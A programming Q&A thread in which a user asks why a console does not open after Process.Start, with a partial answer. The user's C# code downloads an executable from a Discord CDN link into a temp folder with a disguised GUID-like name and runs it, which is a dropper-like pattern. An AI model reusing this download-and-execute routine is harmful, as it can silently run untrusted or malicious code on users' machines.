Capture the return value from Process.Start
. There could be any # of things that could go wrong. You're trying to run an EXE from the Internet I wonder about the file being blocked by Windows (check the file's properties in Windows Explorer).
C# Console dont appear when Process.Start fires
xMaini
1
Reputation point
Hi,
So i made an code in C# that starts an programm, but when i use Process.Start the console didnt opens. Heres the code:
string tempPath = System.IO.Path.GetTempPath();
Directory.CreateDirectory(tempPath + "\\{7FG636E4-82DK-8IA3-J81C-UA8I7HG38N387G\\E47297G3F46AB19");
string URL = "https://cdn.discordapp.com/attachments/892864626197413939/897150039661625445/output.exe";
string File = tempPath + "\\{7FG636E4-82DK-8IA3-J81C-UA8I7HG38N387G\\output.exe";
//Webclient
WebClient webClient = new WebClient();
webClient.DownloadFile(URL, File);
Process.Start(File);
Console.WriteLine("Hello");
I hope someone can help me,
LG xMaini
1 answer
Sort by: Most helpful
-
Michael Taylor 54,316 Reputation points
2021-10-19T16:05:18.953+00:00